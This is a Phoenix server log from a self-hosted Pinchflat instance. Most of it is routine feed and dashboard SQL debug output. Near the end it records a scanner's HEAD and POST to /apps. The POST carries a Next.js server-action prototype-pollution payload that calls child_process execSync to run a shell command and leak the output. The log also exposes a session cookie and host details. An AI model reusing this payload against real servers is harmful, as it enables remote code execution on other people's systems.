PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:26:41.655 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=526.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:26:41.657 [debug] QUERY OK source="media_items" db=1.3ms idle=478.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:26:41.708 [debug] QUERY OK source="source_metadata" db=0.5ms queue=20.1ms idle=481.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:26:41.709 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=531.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:26:41.710 [info] Sent 200 in 56ms 19:26:59.749 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.795 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:29.752 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:59.754 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.796 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:29.757 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:41.149 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:28:41.150 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:28:41.151 [debug] QUERY OK source="sources" db=1.1ms idle=1952.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:28:41.153 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=1953.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:28:41.155 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1956.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:28:41.157 [debug] QUERY OK source="media_metadata" db=0.7ms idle=1675.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:28:41.158 [info] Sent 200 in 9ms 19:28:59.760 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.045 [info] GET / 19:29:00.110 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:29:00.171 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1971.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:00.195 [debug] QUERY OK source="media_profiles" db=23.6ms idle=1649.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:29:00.197 [debug] QUERY OK source="sources" db=1.3ms idle=997.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:29:00.229 [debug] QUERY OK source="media_items" db=31.0ms idle=673.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:29:00.230 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=469.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:29:00.404 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=232.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:00.405 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=209.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:00.491 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=293.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:00.730 [debug] QUERY OK source="tasks" db=0.8ms queue=0.2ms idle=498.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:29:00.798 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:00.802 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=396.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:29:00.804 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=311.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:29:00.960 [debug] QUERY OK source="sources" db=15.4ms queue=0.2ms idle=415.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:29:01.216 [debug] QUERY OK source="media_items" db=17.3ms queue=0.1ms idle=468.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:29:01.224 [debug] QUERY OK source="media_items" db=3.1ms queue=0.2ms idle=421.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:29:01.306 [info] Sent 200 in 1260ms 19:29:02.171 [info] HEAD /apps 19:29:02.480 [debug] QUERY OK source="settings" db=2.6ms queue=0.2ms idle=1673.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:02.482 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=1265.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:02.551 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:29:02.607 [error] #PID<0.14519.0> running PinchflatWeb.Endpoint (connection #PID<0.14515.0>, stream id 2) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: HEAD /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 39070}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8", "host" => "pinchflat-server.tail1d371e.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8" }, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.14519.0>, params: %{}, path_info: ["apps"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIl1VkjzxmKYfxgAALQS"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 39070}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8", "host" => "pinchflat-server.tail1d371e.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 39070}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8", "host" => "pinchflat-server.tail1d371e.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "HEAD", body_length: 0, path_info: :undefined, (truncated) 19:29:03.692 [info] POST /apps 19:29:03.746 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1265.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:03.747 [debug] QUERY OK source="settings" db=0.7ms idle=1264.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:03.748 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:29:03.750 [error] #PID<0.14520.0> running PinchflatWeb.Endpoint (connection #PID<0.14515.0>, stream id 3) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: POST /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 39070}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8", "host" => "pinchflat-server.tail1d371e.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "POST", body_length: 753, path_info: :undefined, qs: "", streamid: 3, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8" }, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "POST", owner: #PID<0.14520.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: ["apps"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "753"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIl1VqOnDvE5UW8AALQi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: 